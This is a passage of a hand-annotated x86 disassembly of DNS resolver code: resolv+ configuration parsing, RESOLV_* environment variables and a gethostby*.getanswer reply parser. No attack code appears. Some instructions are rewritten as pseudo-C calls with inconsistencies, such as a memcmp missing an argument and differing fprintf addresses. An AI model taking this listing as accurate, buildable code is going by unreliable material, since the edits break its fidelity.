		jnz	short loc_0_804B25C
		cmp	byte ptr [ebx+3], 0
		jz	short loc_0_804B24B
		movzx	edx, byte ptr [ebx+3]
		mov	eax, tableBit
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_0_804B25C

loc_0_804B24B:				; CODE XREF: sub_0_804A9D8+861j
		mov	dword_0_807851C, 0
		jmp	loc_0_804AA5C
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804B25C:				; CODE XREF: sub_0_804A9D8+847j
					; sub_0_804A9D8+85Bj ...
		push	offset aReorder	; "reorder"

loc_0_804B261:				; CODE XREF: sub_0_804A9D8+4BDj
					; sub_0_804A9D8+601j ...
		mov	ecx, [ebp+var_40C]
		push	ecx
		push	offset aResolvSSComman ; "resolv+: %s: \"%s\" command incorrectly f"...
		push	0Ch
		push	0Bh
		mov	eax, dword_0_8078F9C
		push	eax
		call	sub_0_805E584
		add	esp, 10h
		call	fprintf(unk_0_80787a4,eax)
		push	ebx
		push	offset aResolvSIsAnInv ; "resolv+: \"%s\" is an	invalid	keyword\n"
		push	0Dh
		push	0Bh
		mov	ecx, dword_0_8078F9C
		push	ecx
		call	sub_0_805E584
		add	esp, 10h
		call	fprintf(80787a4,eax)
		add	esp, 1Ch
		jmp	loc_0_804AA5C
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804B2BC:				; CODE XREF: sub_0_804A9D8+7B0j
					; sub_0_804A9D8+7CFj ...
		push	offset aReorder	; "reorder"
		jmp	loc_0_804B395
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804B2C8:				; CODE XREF: sub_0_804A9D8+772j
					; sub_0_804A9D8+792j
		call	memcmp(var_410,'trim',4)
		mov	edx, eax
		test	edx, edx
		jnz	loc_0_804B3CC
		cmp	[ebp+var_3FC], 0
		jz	short loc_0_804B308
		movzx	edx, [ebp+var_3FC]
		mov	eax, tableBit
		test	byte ptr [eax+edx*2+1],	20h
		jz	loc_0_804B3CC

loc_0_804B308:				; CODE XREF: sub_0_804A9D8+917j
		cmp	dword_0_8078520, 3
		jg	loc_0_804AA5C
		call	strpbrk(var_410,' \t')
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_0_804B390
		jmp	short loc_0_804B335
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804B334:				; CODE XREF: sub_0_804A9D8+960j
					; sub_0_804A9D8+965j
		inc	ebx

loc_0_804B335:				; CODE XREF: sub_0_804A9D8+957j
		cmp	byte ptr [ebx],	20h
		jz	short loc_0_804B334
		cmp	byte ptr [ebx],	9
		jz	short loc_0_804B334
		cmp	byte ptr [ebx],	0
		jz	short loc_0_804B390
		call	strcpy(var_408,ebx)
		mov	eax, [ebp+var_408]
		mov	ecx, dword_0_8078520
		mov	ds:dword_0_807A348[ecx*4], eax
		inc	dword_0_8078520
		mov	edx,strlen(ebx)+1
		mov	[ebp+var_414], edx
		add	[ebp+var_408], edx
		jmp	loc_0_804AA5C
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804B390:				; CODE XREF: sub_0_804A9D8+955j
					; sub_0_804A9D8+96Aj
		push	offset aTrim	; "trim"

loc_0_804B395:				; CODE XREF: sub_0_804A9D8+4C9j
					; sub_0_804A9D8+60Dj ...
		mov	eax, [ebp+var_40C]
		push	eax
		push	offset aResolvSSComman ; "resolv+: %s: \"%s\" command incorrectly f"...
		push	0Ch
		push	0Bh
		mov	ecx, dword_0_8078F9C
		push	ecx

loc_0_804B3AC:				; CODE XREF: sub_0_804A9D8+19Ej
		call	sub_0_805E584
		add	esp, 10h
		call	fprintf(unk_0_80787a4,eax)
		add	esp, 10h
		jmp	loc_0_804AA5C
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804B3CC:				; CODE XREF: sub_0_804A9D8+90Aj
					; sub_0_804A9D8+92Aj
		call	strpbrk(var_410,' \t')
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_0_804B3E9
		mov	byte ptr [ebx],	0

loc_0_804B3E9:				; CODE XREF: sub_0_804A9D8+A0Cj
		mov	ecx, [ebp+var_410]
		push	ecx
		push	offset aResolvSIsAnInv ; "resolv+: \"%s\" is an	invalid	keyword\n"
		push	0Dh
		push	0Bh
		mov	eax, dword_0_8078F9C
		push	eax
		call	sub_0_805E584
		add	esp, 10h
		call	fprintf(unk_0_787a4,eax)
		add	esp, 0Ch
		jmp	loc_0_804AA5C
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_804B41C:				; CODE XREF: sub_0_804A9D8+A3j
		mov	ds:dword_0_8079DD4[esi*4], 0
		call	fclose(var_404)

loc_0_804B436:				; CODE XREF: sub_0_804A9D8+70j
		call	getenv('RESOLV_SEV_ORDER')
		mov	ebx, eax
		test	ebx, ebx
		jz	loc_0_804B542
		xor	esi, esi
		push	offset asc_0_8067950 ; " ,;:"
		push	ebx
		call	sub_0_80568D0
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	loc_0_804B542
		nop	

loc_0_804B468:				; CODE XREF: sub_0_804A9D8+B59j
		call	memcmp(ebx,'bind',4)
		test	eax, eax
		jnz	short loc_0_804B4B0
		cmp	byte ptr [ebx+4], 0
		jz	short loc_0_804B492
		movzx	edx, byte ptr [ebx+4]
		mov	eax, tableBit
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_0_804B4B0

loc_0_804B492:				; CODE XREF: sub_0_804A9D8+AA8j
		mov	ds:dword_0_8079DD4[esi*4], 1
		inc	esi
		test	byte ptr dword_0_807854C, 1
		jnz	short loc_0_804B51E
		call	sub_0_804D744
		jmp	short loc_0_804B51E
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804B4B0:				; CODE XREF: sub_0_804A9D8+AA2j
					; sub_0_804A9D8+AB8j
		call	memcmp(ebx,'hosts',5)
		test	eax, eax
		jnz	short loc_0_804B4E8
		cmp	byte ptr [ebx+5], 0
		jz	short loc_0_804B4DA
		movzx	edx, byte ptr [ebx+5]
		mov	eax, tableBit
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_0_804B4E8

loc_0_804B4DA:				; CODE XREF: sub_0_804A9D8+AF0j
		mov	ds:dword_0_8079DD4[esi*4], 2
		jmp	short loc_0_804B51D
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804B4E8:				; CODE XREF: sub_0_804A9D8+AEAj
					; sub_0_804A9D8+B00j
		call	memcmp(ebx,'nis',3)
		test	eax, eax
		jnz	short loc_0_804B51E
		cmp	byte ptr [ebx+3], 0
		jz	short loc_0_804B512
		movzx	edx, byte ptr [ebx+3]
		mov	eax, tableBit
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_0_804B51E

loc_0_804B512:				; CODE XREF: sub_0_804A9D8+B28j
		mov	ds:dword_0_8079DD4[esi*4], 3

loc_0_804B51D:				; CODE XREF: sub_0_804A9D8+B0Dj
		inc	esi

loc_0_804B51E:				; CODE XREF: sub_0_804A9D8+ACDj
					; sub_0_804A9D8+AD4j ...
		push	offset asc_0_8067950 ; " ,;:"
		push	0
		call	sub_0_80568D0
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	loc_0_804B468
		mov	ds:dword_0_8079DD4[esi*4], 0

loc_0_804B542:				; CODE XREF: sub_0_804A9D8+A6Fj
					; sub_0_804A9D8+A89j
		call	getenv('RESOLV_SPOOF_CHECK')
		mov	ebx, eax
		test	ebx, ebx
		jz	loc_0_804B626
		call	memcmp(ebx,'warn',4)
		test	eax, eax
		jnz	short loc_0_804B59C
		cmp	byte ptr [ebx+4], 0
		jz	short loc_0_804B583
		movzx	edx, byte ptr [ebx+4]
		mov	eax, tableBit
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_0_804B59C

loc_0_804B583:				; CODE XREF: sub_0_804A9D8+B99j
		mov	dword_0_8078514, 1
		mov	dword_0_8078518, 1
		jmp	loc_0_804B626
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_804B59C:				; CODE XREF: sub_0_804A9D8+B93j
					; sub_0_804A9D8+BA9j
		call	memcmp(ebx,'off')
		test	eax, eax
		jnz	short loc_0_804B5DC
		cmp	byte ptr [ebx+3], 0
		jz	short loc_0_804B5C6
		movzx	edx, byte ptr [ebx+3]
		mov	eax, tableBit
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_0_804B5DC

loc_0_804B5C6:				; CODE XREF: sub_0_804A9D8+BDCj
		mov	dword_0_8078514, 0
		mov	dword_0_8078518, 0
		jmp	short loc_0_804B626
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_804B5DC:				; CODE XREF: sub_0_804A9D8+BD6j
					; sub_0_804A9D8+BECj
		call	memcmp(ebx,'warn off',8)
		test	eax, eax
		jnz	short loc_0_804B61C
		cmp	byte ptr [ebx+8], 0
		jz	short loc_0_804B606
		movzx	edx, byte ptr [ebx+8]
		mov	eax, tableBit
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_0_804B61C

loc_0_804B606:				; CODE XREF: sub_0_804A9D8+C1Cj
		mov	dword_0_8078514, 1
		mov	dword_0_8078518, 0
		jmp	short loc_0_804B626
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_804B61C:				; CODE XREF: sub_0_804A9D8+C16j
					; sub_0_804A9D8+C2Cj
		mov	dword_0_8078514, 1

loc_0_804B626:				; CODE XREF: sub_0_804A9D8+B7Bj
					; sub_0_804A9D8+BBFj ...
		call	getenv('RESOLV_MULTI')
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_0_804B67A
		call	memcmp(ebx,'on',2)
		test	eax, eax
		jnz	short loc_0_804B670
		cmp	byte ptr [ebx+2], 0
		jz	short loc_0_804B663
		movzx	edx, byte ptr [ebx+2]
		mov	eax, tableBit
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_0_804B670

loc_0_804B663:				; CODE XREF: sub_0_804A9D8+C79j
		mov	dword_0_8078510, 1
		jmp	short loc_0_804B67A
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804B670:				; CODE XREF: sub_0_804A9D8+C73j
					; sub_0_804A9D8+C89j
		mov	dword_0_8078510, 0

loc_0_804B67A:				; CODE XREF: sub_0_804A9D8+C5Fj
					; sub_0_804A9D8+C95j
		call	getenv('RESOLV_REORDER')
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_0_804B6CE
		call	memcmp(ebx,'on',2)
		test	eax, eax
		jnz	short loc_0_804B6C4
		cmp	byte ptr [ebx+2], 0
		jz	short loc_0_804B6B7
		movzx	edx, byte ptr [ebx+2]
		mov	eax, tableBit
		test	byte ptr [eax+edx*2+1],	20h
		jz	short loc_0_804B6C4

loc_0_804B6B7:				; CODE XREF: sub_0_804A9D8+CCDj
		mov	dword_0_807851C, 1
		jmp	short loc_0_804B6CE
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804B6C4:				; CODE XREF: sub_0_804A9D8+CC7j
					; sub_0_804A9D8+CDDj
		mov	dword_0_807851C, 0

loc_0_804B6CE:				; CODE XREF: sub_0_804A9D8+CB3j
					; sub_0_804A9D8+CE9j
		call	getenv('RESOLV_ADD_TRIM_DOMAINS')
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_0_804B74F
		push	offset asc_0_8067950 ; " ,;:"
		push	ebx
		jmp	short loc_0_804B741
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804B6EC:				; CODE XREF: sub_0_804A9D8+D75j
		cmp	dword_0_8078520, 3
		jg	short loc_0_804B73A
		call	strcpy(var_408,ebx)
		mov	eax, [ebp+var_408]
		mov	ecx, dword_0_8078520
		mov	ds:dword_0_807A348[ecx*4], eax
		inc	dword_0_8078520
		mov	edx, strlen(ebx)+1
		mov	[ebp+var_414], edx
		add	[ebp+var_408], edx

loc_0_804B73A:				; CODE XREF: sub_0_804A9D8+D1Bj
		push	offset asc_0_8067950 ; " ,;:"
		push	0

loc_0_804B741:				; CODE XREF: sub_0_804A9D8+D0Fj
		call	sub_0_80568D0
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_0_804B6EC

loc_0_804B74F:				; CODE XREF: sub_0_804A9D8+D07j
		call	getenv('RESOLV_OVERRIDE_TRIM_DOMAINS')
		mov	ebx, eax
		test	ebx, ebx
		jz	loc_0_804B7E7
		mov	dword_0_8078520, 0
		mov	[ebp+var_408], offset unk_0_807A358
		push	offset asc_0_8067950 ; " ,;:"
		push	ebx
		jmp	short loc_0_804B7D9
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804B784:				; CODE XREF: sub_0_804A9D8+E0Dj
		cmp	dword_0_8078520, 3
		jg	short loc_0_804B7D2
		call	strcpy(var_408,ebx)
		mov	eax, [ebp+var_408]
		mov	ecx, dword_0_8078520
		mov	ds:dword_0_807A348[ecx*4], eax
		inc	dword_0_8078520
		mov	edx, strlen(ebx)+1
		mov	[ebp+var_414], edx
		add	[ebp+var_408], edx

loc_0_804B7D2:				; CODE XREF: sub_0_804A9D8+DB3j
		push	offset asc_0_8067950 ; " ,;:"
		push	0

loc_0_804B7D9:				; CODE XREF: sub_0_804A9D8+DA8j
		call	sub_0_80568D0
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_0_804B784

loc_0_804B7E7:				; CODE XREF: sub_0_804A9D8+D88j
		mov	dword_0_80784F8, 1
		lea	esp, [ebp+var_420]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_804A9D8	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_804B800	proc near		; CODE XREF: sub_0_804BF80+180p
					; .text:0804C339p

var_144		= byte ptr -144h
var_138		= dword	ptr -138h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 138h
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_12C], 0
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_130], eax
		mov	ds:dword_0_8079E74, 0
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+arg_4]
		mov	[ebp+var_108], edx
		mov	eax, [ebp+arg_0]
		mov	ax, [eax+6]
		xchg	al, ah
		movzx	edx, ax
		mov	[ebp+var_120], edx
		mov	eax, [ebp+arg_0]
		mov	ax, [eax+4]
		xchg	al, ah
		mov	[ebp+var_10C], offset unk_0_8079F14
		mov	[ebp+var_11C], 401h
		mov	esi, [ebp+arg_0]
		add	esi, 0Ch
		cmp	ax, 1
		jz	short loc_0_804B880
		mov	ds:dword_0_807E788, 3
		jmp	loc_0_804BE9E
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804B880:				; CODE XREF: sub_0_804B800+6Ej
		mov	edx, [ebp+var_11C]
		push	edx
		mov	eax, [ebp+var_10C]
		push	eax
		push	esi
		mov	edx, [ebp+var_108]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_0_804D02C
		mov	ebx, eax
		add	esp, 14h
		test	ebx, ebx
		jge	short loc_0_804B8B8
		mov	ds:dword_0_807E788, 3
		jmp	loc_0_804BE9E
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804B8B8:				; CODE XREF: sub_0_804B800+A6j
		call	sub_0_805E954
		lea	esi, [esi+ebx+4]
		cmp	[ebp+arg_10], 1
		jnz	short loc_0_804B8FF
		mov	edx, strlen([ebp+var_10C])+1
		mov	edx, [ebp+var_10C]
		mov	ds:dword_0_8079E74, edx
		add	edx, ebx
		mov	[ebp+var_10C], edx
		sub	[ebp+var_11C], ebx
		mov	eax, ds:dword_0_8079E74
		mov	[ebp+arg_8], eax

loc_0_804B8FF:				; CODE XREF: sub_0_804B800+C5j
		mov	[ebp+var_110], offset dword_0_8079E88
		mov	ds:dword_0_8079E88, 0
		mov	ds:dword_0_8079E78, offset dword_0_8079E88
		mov	[ebp+var_114], offset dword_0_8079DE4
		mov	ds:dword_0_8079DE4, 0
		mov	ds:dword_0_8079E84, offset dword_0_8079DE4
		mov	[ebp+var_124], 0
		mov	[ebp+var_128], 0
		mov	eax, [ebp+var_120]
		dec	[ebp+var_120]
		test	eax, eax
		jle	loc_0_804BE14
		cmp	[ebp+var_108], esi
		jbe	loc_0_804BE14
		nop	

loc_0_804B970:				; CODE XREF: sub_0_804B800+60Ej
		mov	edx, [ebp+var_11C]
		push	edx
		mov	eax, [ebp+var_10C]
		push	eax
		push	esi
		mov	edx, [ebp+var_108]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_0_804D02C
		mov	ebx, eax
		add	esp, 14h
		test	ebx, ebx
		jl	loc_0_804BD6C
		add	esi, ebx
		push	esi
		call	sub_0_804D6B8
		mov	ecx, eax
		movzx	edi, cx
		add	esi, 2
		push	esi
		call	sub_0_804D6B8
		mov	ecx, eax
		and	ecx, 0FFFFh
		mov	[ebp+var_118], ecx
		add	esi, 6
		push	esi
		call	sub_0_804D6B8
		mov	ecx, eax
		movzx	ebx, cx
		add	esi, 2
		add	esp, 0Ch
		mov	edx, [ebp+arg_C]
		cmp	[ebp+var_118], edx
		jnz	loc_0_804BDA7
		cmp	[ebp+arg_10], 1
		jnz	loc_0_804BB08
		cmp	edi, 5
		jnz	loc_0_804BB08
		cmp	[ebp+var_110], offset unk_0_8079F10
		jnb	loc_0_804BDEF
		push	101h
		lea	eax, [ebp+var_104]
		push	eax
		push	esi
		mov	edx, [ebp+var_108]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_0_804D02C
		mov	ebx, eax
		add	esp, 14h
		test	ebx, ebx
		jl	loc_0_804BD6C
		add	esi, ebx
		cmp	ds:dword_0_8079E74, 0
		jz	short loc_0_804BA90
		call	strcasecmp(dword_0_8079e74,var_10C)
		mov	ecx, eax
		test	ecx, ecx
		jz	short loc_0_804BA90
		mov	edx, [ebp+var_10C]
		push	edx
		mov	eax, ds:dword_0_8079E74
		push	eax
		push	offset aGethostby_geta ; "gethostby*.getanswer:	asked for \"%s\", g"...
		push	1Bh
		push	0Bh
		mov	edx, dword_0_8078F9C
		push	edx
		call	sub_0_805E584
		add	esp, 10h
		mov	ecx, eax
		push	ecx
		push	25h
		call	sub_0_8054EB0
		add	esp, 10h
		jmp	loc_0_804BDEF
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804BA90:				; CODE XREF: sub_0_804B800+239j
					; sub_0_804B800+254j
		mov	edx, [ebp+var_10C]
		mov	eax, [ebp+var_110]
		mov	[eax], edx
		add	eax, 4
		mov	[ebp+var_110], eax
		mov	ebx, strlen([ebp+var_10C])+1
		add	edx, ebx
		mov	[ebp+var_10C], edx
		sub	[ebp+var_11C], ebx
		mov	ebx, strlen([ebp+var_104])+1
		cmp	[ebp+var_11C], ebx
		jl	loc_0_804BD6C
		call	strcpy(var_10c,var_104)
		mov	edx, [ebp+var_10C]
		mov	ds:dword_0_8079E74, edx
		jmp	short loc_0_804BB86
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_804BB08:				; CODE XREF: sub_0_804B800+1E7j
					; sub_0_804B800+1F0j
		cmp	[ebp+arg_10], 0Ch
		jnz	loc_0_804BB9C
		cmp	edi, 5
		jnz	loc_0_804BB9C
		push	101h
		lea	eax, [ebp+var_104]
		push	eax
		push	esi
		mov	edx, [ebp+var_108]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_0_804D02C
		mov	ebx, eax
		add	esp, 14h
		test	ebx, ebx
		jl	loc_0_804BD6C
		add	esi, ebx
		mov	ebx, strlen([ebp+var_104])+1
		cmp	[ebp+var_11C], ebx
		jl	loc_0_804BD6C
		call	strcpy(var_10c,var_104)
		mov	edx, [ebp+var_10C]
		mov	[ebp+var_130], edx

loc_0_804BB86:				; CODE XREF: sub_0_804B800+306j
		add	edx, ebx
		mov	[ebp+var_10C], edx
		sub	[ebp+var_11C], ebx
		add	esp, 8
		jmp	loc_0_804BDEF
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_804BB9C:				; CODE XREF: sub_0_804B800+30Cj
					; sub_0_804B800+315j
		cmp	[ebp+arg_10], edi
		jz	short loc_0_804BBE0
		mov	eax, [ebp+var_10C]
		push	eax
		push	edi
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_10]
		push	eax
		push	offset aGethostby_ge_0 ; "gethostby*.getanswer:	asked for type %d"...
		push	1Ch
		push	0Bh
		mov	edx, dword_0_8078F9C
		push	edx
		call	sub_0_805E584
		add	esp, 10h
		mov	ecx, eax
		push	ecx
		push	25h
		call	sub_0_8054EB0
		add	esi, ebx
		add	esp, 18h
		jmp	loc_0_804BDEF
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804BBE0:				; CODE XREF: sub_0_804B800+39Fj
		cmp	edi, 1
		jz	short loc_0_804BC64
		cmp	edi, 0Ch
		jnz	loc_0_804BDD8
		call	strcasecmp(var_130,var_10C)
		mov	ecx, eax
		test	ecx, ecx
		jz	short loc_0_804BC18
		mov	eax, [ebp+var_10C]
		push	eax
		mov	edx, [ebp+arg_8]
		jmp	short loc_0_804BC8D
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804BC18:				; CODE XREF: sub_0_804B800+408j
		mov	edx, [ebp+var_11C]
		push	edx
		mov	eax, [ebp+var_10C]
		push	eax
		push	esi
		mov	edx, [ebp+var_108]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_0_804D02C
		mov	ebx, eax
		add	esp, 14h
		test	ebx, ebx
		jge	short loc_0_804BC4C
		inc	[ebp+var_128]
		jmp	loc_0_804BDE0
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804BC4C:				; CODE XREF: sub_0_804B800+43Ej
		mov	edx, [ebp+var_10C]
		mov	ds:dword_0_8079E74, edx

loc_0_804BC58:				; CODE XREF: sub_0_804B800+66Ej
					; sub_0_804B800+68Fj
		mov	eax, offset dword_0_8079E74
		jmp	loc_0_804BEA0
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804BC64:				; CODE XREF: sub_0_804B800+3E3j
		call	strcasecmp(dword_0_8079e74,var_10C)
		mov	ecx, eax
		test	ecx, ecx
		jz	short loc_0_804BCBC
		mov	eax, [ebp+var_10C]
		push	eax
		mov	edx, ds:dword_0_8079E74

loc_0_804BC8D:				; CODE XREF: sub_0_804B800+414j
		push	edx
		push	offset aGethostby_ge_1 ; "gethostby*.getanswer:	asked for \"%s\", g"...
		push	1Ah
		push	0Bh
		mov	eax, dword_0_8078F9C
		push	eax
		call	sub_0_805E584
		add	esp, 10h
		mov	ecx, eax
		push	ecx
		push	25h
		call	sub_0_8054EB0
		add	esi, ebx
		add	esp, 10h
		jmp	loc_0_804BDEF
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804BCBC:				; CODE XREF: sub_0_804B800+47Ej
		cmp	[ebp+var_124], 0
		jz	short loc_0_804BCD4
		cmp	ds:dword_0_8079E80, ebx
		jz	short loc_0_804BD2C
		jmp	loc_0_804BDA7
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804BCD4:				; CODE XREF: sub_0_804B800+4C3j
		mov	ds:dword_0_8079E80, ebx
		mov	ecx, offset dword_0_8079E7C
		cmp	[ebp+var_118], 1
		jnz	short loc_0_804BCF4
		mov	ds:dword_0_8079E7C, 2
		jmp	short loc_0_804BCFA
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_804BCF4:				; CODE XREF: sub_0_804B800+4E6j
		mov	dword ptr [ecx], 0

loc_0_804BCFA:				; CODE XREF: sub_0_804B800+4F2j
		mov	edx, [ebp+var_10C]
		mov	ds:dword_0_8079E74, edx
		mov	ecx, strlen([ebp+var_10C])+1
		mov	[ebp+var_138], ecx
		add	edx, ecx
		mov	[ebp+var_10C], edx
		sub	[ebp+var_11C], ecx

loc_0_804BD2C:				; CODE XREF: sub_0_804B800+4CBj
		mov	eax, [ebp+var_10C]
		add	eax, 4
		mov	edx, [ebp+var_10C]
		and	edx, 3
		sub	eax, edx
		mov	[ebp+var_10C], eax
		mov	eax, [ebp+var_10C]
		add	eax, ebx
		cmp	eax, offset unk_0_807A315
		jb	short loc_0_804BD74
		test	byte ptr dword_0_807854C, 2
		jz	short loc_0_804BD6C
		call	printf('size (%d) too big\n',ebx)
		add	esp, 8

loc_0_804BD6C:				; CODE XREF: sub_0_804B800+196j
					; sub_0_804B800+22Aj ...
		inc	[ebp+var_128]
		jmp	short loc_0_804BDEF
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_804BD74:				; CODE XREF: sub_0_804B800+553j
		cmp	[ebp+var_114], offset unk_0_8079E6C
		jb	short loc_0_804BDAC
		test	byte ptr dword_0_807854C, 2
		jz	short loc_0_804BDA7
		inc	[ebp+var_12C]
		cmp	[ebp+var_12C], 1
		jnz	short loc_0_804BDA7
		call	printf('Too many address (%d)',35)
		add	esp, 8

loc_0_804BDA7:				; CODE XREF: sub_0_804B800+1DDj
					; sub_0_804B800+4CDj ...
		add	esi, ebx
		jmp	short loc_0_804BDEF
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804BDAC:				; CODE XREF: sub_0_804B800+57Ej
		mov	eax, [ebp+var_10C]
		mov	edx, [ebp+var_114]
		mov	[edx], eax
		add	edx, 4
		mov	[ebp+var_114], edx
		call	memmove2(esi,eax,ebx)
		add	[ebp+var_10C], ebx
		add	esi, ebx
		jmp	short loc_0_804BDE0
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_804BDD8:				; CODE XREF: sub_0_804B800+3E8j
		call	sub_0_8055ECC
		lea	esi, [esi+0]

